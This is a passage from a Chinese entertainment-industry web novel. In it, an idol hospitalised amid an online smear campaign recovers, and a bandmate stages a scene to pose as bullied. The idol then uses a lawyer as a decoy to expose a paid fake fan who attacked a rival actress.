这些八卦号平日里就是恰钱给明星泼脏水,没工作的时候就编早年的真事,他们编的段子十个里面总有两三个是真的,就因为混了真事后续也印证了这几个八卦号说的事情可信,也让关注他们的人觉得这个号靠谱,因此这几个号发的这些故事段子多数人是信的。 圈内影后和爱豆稍微一动脑子就知道这说的是谁了。 伤人事件的影后和爱豆,影后不就是影后颜佳雨?跟颜佳雨有几分像又女团出道还突然爆火唱跳全能的爱豆,这信息罗列到一起就差没报温栩栩身份证号了。 在知道两人身份再看那几个小段子故事不由让人往深了想温栩栩的后台。 这些似真似假的小段子一经传开那些路人就咂摸出味儿了。 八卦号说温栩栩有干哥哥绝对说得通,没有资本没有干哥哥怎么可能这么一帆风顺?说不定江恒也是她的好哥哥,不然怎么一直护着她?说她好话的那些也确实混的更好,再看同样女团出道,明明当时是前三名身份出道现在混的还不如其他人的张雯悦,不就因为跟她关系不好猜这么惨的? 几个八卦号发布的信息被战斗力强的颜佳雨粉丝截图发散并咒骂温栩栩是娱乐圈毒瘤希望上面着重审查这件事,并不断给温栩栩发送问候祖宗的私信。 大粉急的不行,给温栩栩发微信打电话通通没回,她也不敢私下处理这件事,只能寄希望在黎氏娱乐身上希望他们公关部门给点力。 …… 医院。 温栩栩头晕的很,只觉得恍恍惚惚身体重的厉害,脑内像是有谁丢进了一窝蚂蚁啃食着脑神经,疼痛难耐。她头疼又不清醒,只觉喉间的呕意愈发明显撑起身体干呕,可喉间用力头就更疼,那股恶心的感觉挥之不去。 她干呕着咳了一遭眼里咳出了泪,眼尾都发红,眼尾的一颗泪痣都因为这滴泪包裹着映衬得她病弱中还带几分妖气。 她痛苦的呜咽,可稍稍动作头就疼的更厉害那股呕意也再浓几分,偏却身体还在发冷让她不停打着冷颤发抖。 她甚至觉得自己是不是得了什么绝症就要死在医院了。 病房门被打开,黎云笙快速到她床前扶住她的手腕不让她乱动,她手背果然跑针肿起一个鼓包。 黎云笙压着心里的气摁铃叫来护士给她重新扎了针,她感觉不到手背的疼,所有的疼都被那股克制不住的呕意和头痛所覆盖。 护士扎好针不敢多看一眼扭头就走了,黎云笙反锁住病房的门躺在床上将瑟瑟发抖不住呜咽呻吟的温栩栩抱进怀里。 “阿愿……好疼”她缩在他怀里像是受伤的幼崽哭红眼睛。 黎云笙眸中闪过一抹异色,周身气压恍若下降几个度,他掀开怀里的女人,眼里溢出凶光,死死的盯着她。 许愿,又是许愿,哪怕是最难受的时候想的人也是许愿吗? 她太难受了又发了高烧脸上一片不健康的红晕,她疼的神志不清,死死咬着下唇咬出了血色嘴里还念着许愿的名字。 黎云笙眸光隐晦的凝视着怀里的人,他伸手握住她的下巴感受到掌心的热度内心一晃而过的是几分狠辣之意。 她还在哭着,却好像坠入了幼年的梦境,她烧的最厉害那次是许愿一直守在一旁,她心里最重要的人是谁?当然是许愿,难受的失去意识时最先想到的就是那个带给她温情的许愿。 梦里的许愿卷起衣袖把浸了水的湿毛巾放在她额头,一直倒着热水哄着她喝又在一边哼着歌,就算她在发烧也依稀记得那天阳光温柔的照在他身上陇上一层薄薄的光晕。 她记得小时候的许愿讲了白雪公主的故事,许愿说,我们不能藏在象牙塔里做个天真烂漫不谙世事的小公主。她说我们不需要骑士不需要王子也不需要小矮人,我们自己够强大就能打倒邪恶的皇后。 温栩栩这个梦做得太久了,梦到许愿从白雪公主讲到灰姑娘,久到太阳落下月亮升起来,温暖的阳光消失了,月光清冷的给他渡上一层耀眼的银芒。 温栩栩感觉自己的头好像不是那么疼了,她像是有了精神一直望着许愿,可看着看着眼前的许愿逐渐变得模糊周围的一切都陷入了无止境的黑暗,月光没有了,只剩下一片黑暗。 在这个阴暗潮湿的黑洞里,她缩在角落浑身发抖,却感觉四周有人眸光沉冷的盯着她,像是吐着蛇信的毒蛇,随时随地想飞窜出来吸食她的血液。 她慌了,眼泪被吓出来嘴里不停的喊着许愿的名字,周围越来越冷了,毒蛇的眼神更加危险,她呜咽着像是被什么东西缠绕住身体,她闭着眼睛不敢睁眼好像睁开眼就会看到一条可怕的大蟒蛇。 “温栩栩,醒醒。”听她陷入沉睡不停呼唤许愿,黎云笙的脸色越来越沉,但她好像陷入梦魇不停的哭,黎云笙心尖刺痛小心的想唤醒她。 温栩栩懵懵懂懂的醒过来,满脑子的许愿睁开眼看到面前一张放大的脸整个人却还沉陷在蛇的恐惧中一时不查尖叫出声。 黎云笙伸手揉着她眼角那颗泪痣,她却呆滞片刻捧着他的手像有些依恋的蹭了蹭。 如果不是在她睡着时听到她一直喊着许愿他还真信了温栩栩依赖他。 不过她此刻确实有点可怜,眼尾都阴翳着委屈的红色。 温栩栩如梦初醒恍恍惚惚的坐直身体靠着身后的床头板,她头中还传来细细密密的痛感,只能捂着头干哑着回他,“我梦到了我和阿愿小时候。” 这话是真的,她没撒谎。 黎云笙心中自有盘算,温栩栩却靠着床板白着张小脸望着他:“阿愿特别好。” 她紧跟着又强调了一句,“特别特别好。” 第615章 许愿对她很好 许愿对她那的确是很好,不然也不会做梦一直喊着他的名字。 黎云笙心里有点吃味,温栩栩靠在床头左手打着圈揉弄太阳穴,“我梦到阿愿给我讲故事。” “阿愿跟我说,童话故事一点都不像童话,里面的公主和女孩总要因为善良美貌和好运依靠男人活下去,阿愿说做这样的公主还不如做童话故事里占先机的小巫婆。” 温栩栩眼睛弯起来,那双眼睛像是玉石闪着璀璨的光,“我觉得阿愿说得对。” 她出神了半晌,“这是一个很好的梦。” 黎云笙盯着她,她提到许愿总是一脸满足。 他深深的看了她几眼,不去提许愿,转移话题问她,“饿了吗。” 抽血后她一直在昏睡,因为身体虚弱昏昏沉沉睡了整整一天一夜,算起来也该饿了。 温栩栩“唔”了一声笑意都带着病气,“我不饿,只是有些累。” 她“哧溜”一下重新躺回床上,因动作迅速大脑都来不及反应给她疼几下,这会儿躺好了那细细密密的疼痛才令她额头冒汗,她稳住身体不肯动了,刚才说了那么多话现在满脸都是倦意,好像随时又要睡过去。 黎云笙眸中略过一抹不易察觉的深意,温栩栩愈发昏沉想睡觉, 她病恹恹的躺着,此刻还有些冷,拉高被子遮住了整张脸,整个人在被子里蜷缩在一起才有了点安全感。 听到门被关上的声音她“唔”了一声有些不喜,用力把自己卷在被子里,手脚摁住被子边角一条缝隙都不肯留。 黎云笙重新回到病房看到的就是一个大只的“蚕蛹”,“蚕蛹”缩着身体还在压被子,他微微扬眉走过去掀开被压的死紧的被子露出那张被闷的红彤彤满头汗的小脸。 她有点迷糊应该快要睡过去了,此刻双眸失神,一双黑眸好像遮上了一层薄薄的雾气,懵懵懂懂的失了智似的。 “吃点东西再睡。”他声音轻了几分,她不满的头拱拱被子,不想吃耍赖的模样。 黎云笙顿了下抚摸着她汗湿的长发,捧着那杯热豆浆把吸管小心的塞进她嘴里。 知道她不想坐起来吃东西,他让人用破壁机弄了加红枣枸杞的热豆浆,让她用吸管喝点好填肚子。 她呆愣愣的反应过来嘴巴里多了个东西,张嘴就咬,黎云笙无奈的揉着她的头,她现在反应有点慢,等了好一会儿看了看嘴巴里的东西闻到了香味儿才后知后觉的饿起来,也不用他说自己咬着吸管喝豆浆。 豆浆热乎乎的加了红枣带点甜味,她有点满足,一整杯都喝完了才蹭蹭他的手心又拿被子蒙住了头含糊的睡去。 温栩栩在网上被声讨,这次的事牵连到温栩栩粉丝身上,江恒看到有些骂的过分的言论跃跃欲试想发博,被经纪人没收手机走哪儿跟哪儿差点直接给他断网。 颜佳雨的粉丝一直关注颜佳雨的动态频频询问工作室她的身体状况却没有人回应,粉丝遏制不住心中的怒火将怒意通通发泄到温栩栩的粉丝身上,就连温栩栩的超话都沦陷,满屏都是颜佳雨粉丝诅咒的言论,温栩栩大粉连连删帖拉黑并开启签到等级六级才能发言后超话才得以控制。 无法发泄怒意的粉丝们盯着词条,只要有人敢为温栩栩说一句话他们就如鬣狗闻见味儿一样成批成群涌上来怒骂并转发这条评论呼朋唤友的举报诅咒。 温栩栩粉丝急的不行,温栩栩的经纪人一直没冒头,女团这两天还要录制综艺,最大的看点都在温栩栩身上现在温栩栩就闹出这事,经纪人更是找不到温栩栩,女团成员是真心实意为温栩栩担心,唯有张雯悦在后台冷着脸。 她们这是参加一期综艺录制,到了电视台一下车就被蜂拥而至的记者和颜佳雨的粉丝团团围住,问的全都跟温栩栩有关,颜佳雨粉丝看不到温栩栩就把火气撒在了这些队员身上,她们好不容易才在保安看护下挤进电视台。 眼看就要上台参与录制了,温栩栩那边一点消息都没有,经纪人林海还没放弃一直打温栩栩电话却还是没人接听。 “还打什么电话。”张雯悦臭着脸语调懒懒的:“不就因为颜佳雨被她粉丝重伤不敢见人了?再打电话她也不会接的,有这时间不如好好看台本在台上好好表现多几个镜头。” 温栩栩出事不能来现场就数她最高兴,以往只要有温栩栩参加的综艺她们都要沦为陪衬,现在温栩栩出事不能来对她来说就是个好消息。 杜佳安把台本摔到桌上,“张雯悦,温栩栩是我们的队长!” 张雯悦之前在外面被那群人拦着骂本来就有火,现在又在后台休息室被杜佳安下了脸一时压不住心口的火气当即变脸:“她是你们的队长可不是我的队长!怎么?有好处的时候这个队长想过我吗?好处都是你们的我半点都捞不到还要为温栩栩承担这个骂声?凭什么!” 那他妈不是你自己活该吗! 杜佳安心里火腾地上来了:“当初队长拍那部电影的时候难道没想让你客串吗!是你自己一直跟队长作对怪得了谁!你问凭什么?那凭什么队长就要以德报怨把资源分给你!” 张雯悦声调提高:“那么好的电影资源温栩栩说会给我你们信吗!她就是故意当着我的面说出来打击我想让我像狗一样舔她!你们真是跟营销号说的一样!为了那点资源拍温栩栩马屁说她好话,呵呵,也就只有我耿直不向资本低头才没分到那些资源!” 耿直你妈啊耿直!你就是颗老鼠屎一直搅浑水! 杜佳安气炸了,林海也觉得张雯悦不可理喻:“马上就要上台录制了,你们能不能消停点,让人看到了又要议论我们对内不和了。” 张雯悦连着嗤笑好几声,“谁爱议论谁就议论呗,我们队内本来就不和还不让人说了?” 杜佳安上前推了张雯悦一个踉跄,指着张雯悦鼻子骂:“整个团队就是多了你才会不和!” 第616章 背后真的有资本吗 张雯悦腰磕到桌沿疼的她脑子嗡嗡作响正欲怒骂回去却瞥见休息室开了个小缝似乎有人就站在门口偷听。 她低头眼珠子一转声音竟低下来带了哭腔:“是,我知道你们都不喜欢我,你们喜欢那几个没能入团的,你们跟她们才是一组的……” 杜佳安她们都皱眉不知道她闹哪一出,搁在以前张雯悦早尥蹶子跟杜佳安硬碰硬杠上了,现在竟然软了音委屈起来?她刚才不是很横吗?现在委屈个什么劲儿! “你发什么疯!”杜佳安满脸嫌恶。 张雯悦蹲在原处捂住脸:“如果是她们跟你们一起出道那才是真正的女团,我算什么呢……” “你别把话说的好像我们欺负了你!”杜佳安抓着头被她这话恶心够呛。 “是,你们没欺负我,是我不该跟温栩栩发脾气,是我的错,她是队长我就该都听她的。”张雯悦站起来看了眼时间这才扯出纸巾擦着泪水,“好了,别说了,就快上台了让我补一下妆好吗。” 苏琳都被这话噎到了:“什么啊,你这话是说我们和队长欺负你了?” 张雯悦像是很累一样说道:“快要上台了,这些等回去再说好吗。” 其他队员都觉得别扭,秦萌萌总觉得有哪里不对还是劝了句,“让她先补妆吧。” 张雯悦红着眼睛自己补妆,只眼底闪过几分得逞的冷意。 温栩栩所在的女团参与节目录制时微博上传出一条视频掀起腥风血雨。 视频不长只有几分钟左右,内容却让人叹为观止。 自从温栩栩一路托带着整个团成为国内最火女团后总有人传她们队内不和,而作为边缘人物的张雯悦一度被人评价是粉丝最少事情最多最没热度的队员。 这条视频曝光后引起了轩然大波。 张雯悦参加录制时就因性格耿直吸了一波粉,但出道后就没什么动静,有些粉丝受不了她的火爆脾气脱粉,现在一切都能解释的清了! 张雯悦成团出道时是第三名,有颜值有实力怎么出道后就销声匿迹还不如第六名的秦萌萌有热度了?看了这段视频后就知道张雯悦被打压了! 张雯悦的粉丝乃至颜佳雨的粉丝不管是为了什么此刻都涌出来站在道德制高点上狂喷温栩栩。 {营销号不是说了那个爆红的爱豆喜欢人说好话捧着她吗,张雯悦就不是这么个性子,只有杜佳安秦萌萌那几个一直粘着温栩栩所以这几人才发展的最好,我们张雯悦这个直肠子当然没有好处还要被针对了!可恶!} {笑死我了,温栩栩拍的那电影还能看吗?温栩栩因为私心让自己队员去参演?温栩栩真能啊,我看温栩栩这样指不定背后多大的资本力量呢,不然张雯悦能被欺负成这样?还有之前一直说其他人欺压温栩栩的,好好看看,温栩栩没点能耐能把她们斗成这样?她们什么下场自己看看去!以上总结,温栩栩就不是个好人} {团队为什么不和?破案了破案了!看看这队内成员,秦萌萌以前跟温栩栩都是一队的,那几个存在感不强跟谁都能玩到一起,至于杜佳安就是谁红谁火跟谁玩啊,张雨萌最红的时候她巴着张雨萌不放,张雨萌出事第一个回踩张雨萌去抱温栩栩大腿的不也是她?我还一直纳闷杜佳安为什么一直护着温栩栩,好了我懂了,温栩栩背靠资本,哄骗着温栩栩就是大把大把的资源呗。呵,娱乐圈} {之前张雯悦一直被人骂被人嘲讽说她不讨人喜欢不配待在女团还骂她该退团,呵呵,真相来了有人关注吗,那些伤人的话有人道歉吗,会不会有一丢丢内疚呀,只希望大家能理智一点,不要别人说啥就信啥,自以为站在正义的制高点对别人指指点点。你们指指点点这么久最后真是她错了吗?不,错的只有温栩栩!} {看完这段视频气的肺都要炸了啊!杜佳安在干什么?就因为几句话说不通就要动手哎!还有最后张雯悦说话那么低声下气了她们团队还不肯放过她,张雯悦在这团里到底被欺负了多久!千错万错都是温栩栩的错!杜佳安也是温栩栩的狗!自己养的狗不管好!@温栩栩} 张雨萌笑吟吟的看热搜被刷上去高兴的哼歌。 她就说,温栩栩这种人怎么可能没有黑点呢?只要用点小计谋那些被她欺负过的或者不想被她抢了蛋糕的人一定会露出点对付她的苗头。 瞧瞧,才多久这视频就被曝光了? 张雨萌连连笑着目光却透着阴冷的气息。 黎氏娱乐也知道事情闹大了,公关部联系不上温栩栩,只有黎云笙的助理让他们竭力压热搜并告诉他们温栩栩重病住院的消息,公关部跟温栩栩工作室联手更博表示旗下艺人因病住院。 颜佳雨的粉丝对此嗤之以鼻,张雯悦的粉丝也乱蹦跶,一点不信这话。 出了事就重病住院?之前颜佳雨住院温栩栩也住院,现在颜佳雨住院温栩栩又住院?怎么可能这么巧? 这公告没人信,都认为是温栩栩在找借口不想做正面回应,黎氏娱乐放出张雯悦黑料也没人信,还有人为此得意认为自己赌对了,早在这之前就有人嘲黎氏娱乐想洗白温栩栩和其他队员势必要把黑料都堆到张雯悦身上,果然没过多久张雯悦真被黑了。 录完节目后女团全员离开时记者们都挤上来,她们还当这些记者又是要问有关温栩栩的问题,岂料全都是冲着张雯悦来的。 “张雯悦你出道后真的一直被团内压榨吗?”一个戴眼镜的女记者满脸同情的大声问着。 这话让杜佳安几人愣住了。 什么玩意儿?谁被团内压榨?那个整天作妖吵架让人想一巴掌拍死的张雯悦? 杜佳安都被这问题气笑了,却又听一个矮胖的记者急冲冲问道,“你们团内是不是只有哄着温栩栩才有好资源拿?张雯悦没有资源是因为惹了温栩栩吗?温栩栩背后真的有资本吗?” 第617章 你的心都是偏的 “你们真的不喜欢张雯悦想让张雯悦退团吗?张雯悦成为团队边缘人物是不是真的跟温栩栩有关系?”高个子记者堵着秦萌萌咄咄逼人。 一个又一个问题七零八落的砸过来,还都是些不知所谓的问题。 “你们胡说八道什么呢?”杜佳安嗤笑一声正要怼记者,却见一旁的张雯悦低着头退后一步:“没人想让我退团,我们队内所有人关系都很好。” 杜佳安心道张雯悦竟然会说人话了,真是有生之年系列。不过怎么总感觉这语气怪里怪气的。 不等杜佳安想明白记者们就把她挤开团团围住张雯悦,一个又一个犀利的问题全都冲着张雯悦去了。 “是不是队内的人又在逼你?” “温栩栩是早就想把你踢出团吗?” “杜佳安对你动过手吗? 不敢说实话是怕回去后她们打你吗?” 这都什么神经病啊!张雯悦受大委屈了?团内人欺负张雯悦了?到底是谁欺负谁啊! 杜佳安这次是被气的真想打人了,记者们把张雯悦围在中间只听见有人问张雯悦温栩栩说的电影是不是除了她队内所有人都参演了,张雯悦还愣了下为她们开脱说她不会演戏没被选上也是正常的。 杜佳安冷笑一声都猜到这些记者回去后怎么写了,无非是张雯悦受委屈被队长嘲没演技。 经纪人林海着急的直拍腿,招呼着保安好不容易才把张雯悦从记者堆里救出来赶紧上了保姆车。 杜佳安跟张雯悦挤进一辆车,秦萌萌就窝在角落里皱着眉刷微博,越看脸色越难看。 一上车林海有经验的颤抖着手也打开热搜,才看了热搜词条顿时眼前一黑。 “张雯悦!”林海扯着嗓子喊她。 张雯悦上了车就恢复本性恶劣冷笑:“怎么?出什么大事了。” “你到底为什么要这么做!” 林海被气的声音发颤:“在后台休息室的时候你早看到有人在门外所以才演了那么一出是不是!” 张雯悦一副我什么都不知道的模样笑起来:“休息室的门没关严吗?你们觉得我哪句话说的不对吗?” 杜佳安暗骂了一句脏话揪住张雯悦的领口这次是真想动手了,张雯悦眼神闪了闪却一点都不怕:“现在是最敏感的时候,不知道多少人盯着我呢,你敢对我动手吗?” 张雯悦反拽住杜佳安的衣领咬牙切齿:“你别逼我,再逼我我就自己对自己动手下车让记者和路人拍个尽兴,到时候我会告诉他们我因为说错话被你们围殴了。” 她阴冷一笑,“你猜记者们会怎么写?你猜你还能不能安安稳稳在圈里当你的艺人继续圈钱。” 杜佳安被她这话逼得暗自磨牙,心口被气的发疼:“真不愧是在H国跟张雨萌当过队员的女人,把她的阴险狡诈学了个干净。” 张雯悦甩开杜佳安的衣领懒洋洋躺在车座上轻笑了几声:“别只说我,你曾经不也是围着张雨萌团团转的一条狗吗。” “张雯悦!”杜佳安攥着拳头已经忍无可忍了,秦萌萌赶紧抱住杜佳安劝她:“好了好了,等队长回来什么问题都能解决的。” 张雯悦不住拍手:“等队长回来?你们真当颜佳雨是吃素的?颜佳雨背靠着黎家跟黎氏的总裁关系匪浅,温栩栩粉丝重伤颜佳雨,你们猜黎总还能继续捧着温栩栩吗。” 杜佳安和秦萌萌对视一眼一时也有些忧心。 两人忧心忡忡一时无言心里都在为温栩栩担忧,张雯悦得意的刷微博看温栩栩被辱骂还高兴的哼起了属于她的那首单曲。 温栩栩缓过劲才想起找手机看日期,她想起来自己这两天有个需要参加的综艺节目,一看日期果然错过了。 她揉揉眉心也清楚那时候病的昏昏沉沉床都下不了根本没办法录制节目。 微信图标那信息红点有几百条,手机短信也有几百条,还有那不知道多少人打来的未接电话。 她心里咯噔一下只觉出了大事。 点开微信就看到队员一直尝试给她发信息,大粉每隔一小时就会发微信慰问,还不停的转她一些微博链接。 温栩栩跟大粉联系后知道了事情经过,她就病了两天外面就变天了。 温栩栩翻着微博笑出声来,有点像被逗笑了。 拍摄这视频的人就差没有把镜头怼到那男人脸上,那男人就没发现?如果发现了镜头还故意叫嚷着是她的粉丝为了她去报复颜佳雨……那不是真蠢就是真坏。 黎云笙推门进来,正对上温栩栩含笑的眼,他略一挑眉:“好些了?” “好多了。”温栩栩把玩着手机状似不经意问道:“你知道这我和颜佳雨上热搜了吗。” 黎云笙意味不明的凝视她,温栩栩先退一步扶着墙坐上了轮椅控制着轮椅转了个圈。 她闭着眼睛轻“呵”一声:“你啊,心就是偏的。” 有关她的黑料黎氏总能很快的压下去,但这次的热搜却一直没能压下去,无非是因为这次的事牵扯到颜佳雨,而他不想颜佳雨受到伤害,所以受伤的就只能是她。 温栩栩牵动唇角:“你们能帮我个忙吗,我要见那位‘粉丝’一面,跟他进行一次友好交流。” 她眨眨眼像是做什么承诺:“放心,我不会让舆论波及到颜小姐。” 温栩栩笑吟吟的望着他,眸光却平静如水,只等他一个回答。 黎云笙别过脸:“我会安排人陪你去。” 温栩栩揪着身后的灰色靠垫,助理在一旁面上带笑的把沙发上的几个靠垫都拿过去摆在她面前容她挑,她不喜欢灰扑扑的靠垫,硬是挑了个红色的靠垫放在身后。 助理有些语塞想不明白江惊蛰这边医院的病房里怎么还有红色靠垫。 温栩栩身后靠着个红色靠垫,怀里又抱了一个心情好了几分:“你的人总跟着我像什么样子,还是让林律师跟我一起去吧。”她歪头满脸天真:“两个女人一起做事更方便。” 助理没吭声,黎云笙拧眉看她最终还是应下。 第618章 够疯够有种 颜佳雨闹出这么大的事许愿怎么可能没有得到消息? 等她从实验室中出来,就已经有人将这次发生的事情全都报了上来。 颜佳雨真是好样的,她是觉得上次被威胁了所以特意做了这种事来反抗自己,让自己知道她不是好惹的? 颜佳雨就是知道她在意温栩栩,所以故意做了这种事。 够疯,够有种。 许愿连着冷笑几声,热搜都已经顶上去了,现在强行压热搜反倒会被人怀疑温栩栩背后有人故意暗箱操作。 看来还是要找到那个伤人的粉丝。 不过…… 是不是粉丝还要另说。 没有粉丝真的愚蠢到伤人的时候还喊着自己偶像的名字,除非真是脑子有病。 许愿是这样想的,温栩栩自然也是这样想的,她还有很多事没有弄明白,所以温栩栩身体好些后第一时间微信联系了林菀。 林菀A市出名的女性律师,担任多家公司法律顾问,最初温栩栩签入黎氏娱乐的时候就是由林菀拟邀的合同。 林菀对她有些好感,自之前帮温栩栩处理过一些事后就一直关注她在圈内风评走向,现在网络舆论一波倒都在骂温栩栩很明显就是有人带节奏有组织的攻击她,她猜着温栩栩应该会联系她,没成想果真收到她的信息。 林菀身边照旧跟着两名助理,等温栩栩上车才细细打量她片刻感觉她较之前瘦弱不少,那病气很惹眼,她问:“你真的病了?” 温栩栩还在翻手机上的评论,听见这话也不太在意回她:“一直连轴转拍戏参加活动所以累倒了。”说完她侧头看了林菀一眼笑起来:“你换发型了,这样还挺好看。” 林菀以前留的是齐肩内扣半长发,许是一直没剪头长到过肩两寸,她嫌麻烦就烫了个大卷。她本就是那种冷冰冰性子不热络的人,留了个大卷也只多几分知性美,温栩栩却看得直咂舌。 看了好半天终于明白那知性是哪儿来的了,她凑近林菀问:“你怎么也戴眼镜了?” 林菀不自在的推推鼻梁上的眼镜:“韩越说这样会让人看着比较温柔。” 温栩栩噗嗤乐了:“我听人说韩大少戴眼镜是希望谈判的时候让人觉得他好说话比较好骗。可时间久了谁都知道韩大少白切黑也就他自己自欺欺人不肯摘眼镜。” 温栩栩摘了她的眼睛还撩了撩她额前一缕发:“咱们不干这自欺欺人的事啊。” 说罢她瞧着手里这副眼镜自己戴上了,眼镜不知道谁挑的,是薄款金丝边眼镜,和韩越那款有点像。 韩越戴上这眼睛有那么几分“斯文败类”的劲儿,温栩栩戴上这眼镜也不遑多让。 林菀面上有几分动容的看她:“你戴上好看。”语气还是平缓的,大概一直都是这副冷冰冰的性子。 温栩栩又往她跟前凑:“我找你跟我一起去见那个‘粉丝’是有点事想你帮我做。” 林菀点头:“你说。” 温栩栩在她耳边叽喳一阵,林菀似乎愣了下,唇角难得勾起一抹微不可见的弧度。 视频中“袭击”颜佳雨的人叫任天浩,被人抓起来后一直关在看守所,这次黎云笙那边联系了内部才把人重新押回审讯室。 任天浩知道老婆儿子已经跑去国外他自己一个人也没牵挂,咬牙往死了说自己是温栩栩粉丝为了她什么都肯做,再问别的就一句都不肯多说了。 他以为自己蒙混过关要被判几年等从牢里出来就能去找老婆儿子团聚,岂料又被押到审讯室审问。 任天浩晃着手铐心里发慌却还装镇定吵嚷:“长官我都认罪了你们还要审什么?” 他怕那事儿被查出来开始出言不逊,押送他的警员冷着脸没人理他。 任天浩心里暗骂几声,重新被带进审讯室他浑身冒出一层鸡皮疙瘩。审讯室里的椅子是为嫌犯特制的,看着面上有一层皮革毛绒其实只薄薄一层,坐上去十分咯人。 任天浩坐在上面扭来扭去脸上怒气都要涌出来,押送他进来的警员并没离开一左一右站在门口守着,任天浩压着火气问:“长官,我就犯个小案子也没闹出人命你们这是拿我当洪水猛兽了?” 女警员眼睫低垂声音淡淡道:“有人要见你。” 任天浩心道我怎么知道谁要来见我?这是闹的哪一出! 他心里不痛快,手上的链子被他摔的哗啦哗啦响两名警员充耳不闻。 等了片刻终于有人走进来,进来的是两名女性,走在前面的女人长发刚过肩,身上穿了件品牌长裙搭一件短外套,长相不是特别惹眼的类型却别有一番韵味。而她身后的女人长发到腰,身上穿的则是一套挑不出错的黑色西装套装,脸被遮住了大半。 任天浩见进来的是两个女人连着“呵呵”笑几声直拍桌子:“这算什么意思?带两个女人来审我?” 林菀很放松的坐在他对面的椅子上抬眼神情如常道:“你不是我的粉丝吗?怎么连我都认不出来。” 这话一出任天浩就呆了片刻:“你……你是温栩栩?” 他就是装温栩栩粉丝办了事拿点好处怎么还真见到正主了!这他娘的谁能想得到啊! 林菀眼睛都没眨的看着他:“这两天我因病住院不知道我的粉丝惹出这么大的事,所以特地来看望你,你不高兴吗。” 我哪儿高兴的起来!我都不知道你长什么样儿! 任天浩抓心挠肺的干着急直接开始摇晃着手铐干嚎装傻:“温栩栩我做这些都是为了你,都怪颜佳雨总是欺负你!我是为了帮你报仇!温栩栩你帮帮我把我救出去吧!” 林菀被他嚎的耳朵疼,把桌上的聚光灯打开挪到任天浩面前,那聚光灯就是为了刺激嫌犯让他们无法躲避心理防线降到最低点再开始审问。 此刻任天浩被强光刺激的嚎不下去,被刺的一直抬手擦泪。 林菀慢条斯理地整理袖扣:“我的确是来帮你的。” 第619章 审问 任天浩惊愕的瞪圆眼睛觉得“温栩栩”应该是个傻的,有这样的粉丝还把人救出去?让他继续发疯吗? 可现在“温栩栩”越傻对他越有利! 见任天浩激动的红了脸,林菀看着面前发疯的男人缓缓道:“只要能证明你真的是我的粉丝我就一定会疏通关系为你减刑。” 任天浩眼睛更亮:“我当然是你的粉丝!” 林菀双手交叉坐直身体询问:“你是从什么时候开始喜欢我的。” 任天浩嘴唇蠕动呼吸的频率都跟着一变,片刻后才艰难道:“两年前我在路上看到你的广告立牌就开始喜欢你了。” 林菀面上没有任何变化继续问:“我念的是B大还是S大?” B大在A市,S大在别的城市,这次任天浩想都没想大声喊着回答:“B大!你念的是B大表演系!” 林菀手中笔尖点点桌案上厚重的记事本扉页又问:“我签约的公司是风语传媒还是天河娱乐公司。” 风语传媒和天河娱乐公司都是A市的娱乐公司,但这两者中风语娱乐公司培养全能艺人,天河传媒培养的多是爱豆。 任天浩不知道这两者有什么区别,嗫喏半晌迟疑了好一会儿才试探性道:“天河娱乐公司?” 林菀笔尖一顿点点头继续问:“我以演员身份出道后拍摄的第一部作品是《暗杀》还是《凤凰泪》。” 任天浩本还为自己答对上一道题而高兴,现在又被这道题难住了,好在《暗杀》是任天浩看过的剧,不记得有她参演这次信誓旦旦说:“你以演员身份出道后首次拍摄的作品是《凤凰泪》。” 林菀又问了几个问题一直没停歇,任天浩答题见没有人打断他更觉自己说的都对越来越得意,直到林菀问他:“我的粉丝昵称是什么,是小太阳还是洋娃娃。” 任天浩被问蒙了,他抓耳挠腮想了好一会儿没回答,林菀静静的望着他:“不知道吗。” 任天浩支支吾吾:“知道的知道的,你要给我时间好好想想才行。” 林菀也不催他,很有耐心等他思考。 “是小太阳吧。”任天浩心道温栩栩的温字不就是温暖的意思吗,太阳肯定是温暖的,那肯定是小太阳不是洋娃娃,反正跟洋娃娃肯定没什么关系。 林菀并不回答他这个愚蠢的问题另问道:“最后一个问题,你真的特别喜欢温栩栩是温栩栩的忠实粉丝对吗。” 任天浩像给自己催眠一样高喊着:“对,我是温栩栩的粉丝,我喜欢她两年了从她出道就开始喜欢,我做这一切都是为了温栩栩,是颜佳雨挡了温栩栩的路!”他条件反射的把对警察说的那些话一股脑的抖出来。 守在门口的两位警员都被他这话气笑了,站在林菀身后的温栩栩笑了几声撩了撩长发露出整张明艳的脸,她上前一步一手搭在林菀肩上:“你是温栩栩的粉丝却连谁是温栩栩都不知道,你说可不可笑。” 任天浩傻了:“什么意思!她不就是温栩栩吗!你少唬我!” 温栩栩随手用头绳束起长发笑吟吟道:“我唬你做什么?她是我请来的律师,而我……”她意味深长的转了个音:“我才是温栩栩。” 温栩栩双手撑在桌案上丝毫不怵任天浩这张满脸横肉的丑脸:“你装我的粉丝却连我长什么样子都不清楚。那些问题也答的牛头不对马嘴……” 温栩栩瞥了眼桌案上的记事本嗤笑道:“两年前看到我的广告牌喜欢上我?我今年才出道,出道前没有接过任何代言你从哪里看我的广告牌。” 什么B大S大,她念的是A大,签约的是黎氏娱乐,并不是作为演员出道而是作为爱豆出道。 “后面的问题更是可笑至极,如果我的粉丝真在这里恐怕会把你当成个笑话。”温栩栩合上记事本脸上笑意有些不屑,任天浩受到刺激“腾”的暴怒站起来脸色涨红着怒吼:“你故意耍我!” 两名警员立刻上前一步制住动怒的任天浩,任天浩吼叫着。 温栩栩慢条斯理带上手套一手扯住任天浩衣领一字一顿道:“我耍你什么?我好心来慰问我的粉丝,却发现一个不认识我的假粉丝伙同其他人陷害我想害我身败名裂。你说是谁耍谁呢。” 温栩栩咬牙:“你真当我没查其他的?如果没有幕后推手你老婆孩子怎么账户上怎么会多出那么一大笔钱还那么凑巧在你被抓前晚出国,你真当所有人都是傻子吗。” 她眼底的戾气裹挟着去不掉的冷意,任天浩一时不察被吓住了,愣了好半晌,温栩栩放开任天浩,摘掉手套丢进垃圾桶。 她掀唇语气都充满凉意:“我会让我的律师好好跟人沟通,一定让你在牢里好好过日子,最好能让你在这地方养老。” 语毕温栩栩昂首离开审讯室,林菀冷冷的看任天浩一眼随她离开,捧着在原地疯狂咒骂 ,两名警员扣住任天浩对他展开新一轮审讯。 “为什么不趁机把任天浩保释出去?只要让他离开看守所他一定会去联系幕后的人。”林菀关上车门问温栩栩。 温栩栩翻看着手里的录像笑眯眯道:“你跟在黎云笙身边时间不短又跟那几位都相识应该知道他有个最看重的白月光。”温栩栩眼瞳一闪:“你说如果我放长线钓大鱼最后钓上来的那条鱼是他的白月光最后倒霉的会是谁呢。” 倒霉的当然是温栩栩。 林菀一时之间有些哑然,对此无言以对。 